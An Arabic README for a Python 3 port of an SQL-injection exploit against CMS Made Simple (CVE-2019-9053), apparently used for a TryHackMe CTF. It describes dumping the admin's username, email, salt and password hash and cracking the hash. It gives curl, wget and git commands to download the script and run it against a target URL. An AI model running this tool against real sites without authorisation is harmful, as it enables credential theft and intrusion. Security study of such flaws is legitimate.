استغلال CVE-2019-9053 - Python 3

هذه نسخة منقولة إلى Python 3 من الاستغلال CVE-2019-9053، الذي يستهدف إصدارات CMS Made Simple (CMSMS) قبل 2.2.10. تسمح الثغرة بحقن SQL عبر واجهة وحدة الأخبار.

مثال على المخرجات

تم اختباره على تحدي TryHackMe Simple CTF Challenge.

الوصف

يستغل هذا الاستغلال ثغرة حقن SQL في وحدة الأخبار في CMS Made Simple. يمكنه:

• استخراج ملح CMS
• تفريغ اسم مستخدم المسؤول
• تفريغ بريد المسؤول الإلكتروني
• تفريغ تجزئة كلمة مرور المسؤول
• كسر كلمة المرور اختياريًا باستخدام قائمة كلمات مرفقة

بدء سريع

نزّل وقم بالتشغيل بسرعة باستخدام هذه الأوامر:

# Download the exploit
curl -O https://raw.githubusercontent.com/del0x3/CVE-2019-9053-port-py3/main/exploit.py

# Download requirements
curl -O https://raw.githubusercontent.com/del0x3/CVE-2019-9053-port-py3/main/requirements.txt

# Install requirements
pip install -r requirements.txt

# Make exploit executable
chmod +x exploit.py

# Run the exploit
./exploit.py -u http://target.com/cms

بديل باستخدام wget:

wget https://raw.githubusercontent.com/del0x3/CVE-2019-9053-port-py3/main/exploit.py
wget https://raw.githubusercontent.com/del0x3/CVE-2019-9053-port-py3/main/requirements.txt
pip install -r requirements.txt
chmod +x exploit.py
./exploit.py -u http://target.com/cms

المتطلبات

• بايثون 3.6+
• الحزم المطلوبة (انظر requirements.txt)

التثبيت

1. استنسخ هذا المستودع:

git clone https://github.com/del0x3/CVE-2019-9053-port-py3.git
cd CVE-2019-9053-port-py3

2. ثبّت الحزم المطلوبة:

pip install -r requirements.txt

الاستخدام

الاستخدام الأساسي:

python3 exploit.py -u http://target.com/cms

مع كسر كلمة المرور:

python3 exploit.py -u http://target.com/cms -c -w /path/to/wordlist.txt

الوسائط

• -u, --url: عنوان URL الأساسي للهدف (مطلوب)
• -w, --wordlist: المسار إلى قائمة الكلمات لكسر كلمة المرور
• -c, --crack: تفعيل وضع كسر كلمة المرور

إخلاء مسؤولية

هذه الأداة مخصصة للأغراض التعليمية وبحوث الأمن فقط. لا تستخدمها ضد أنظمة دون إذن صريح.

الاعتمادات

• الاستغلال الأصلي بواسطة Daniele Scanu
• نقل إلى Python 3 بواسطة Del0x3

الترخيص

رخصة MIT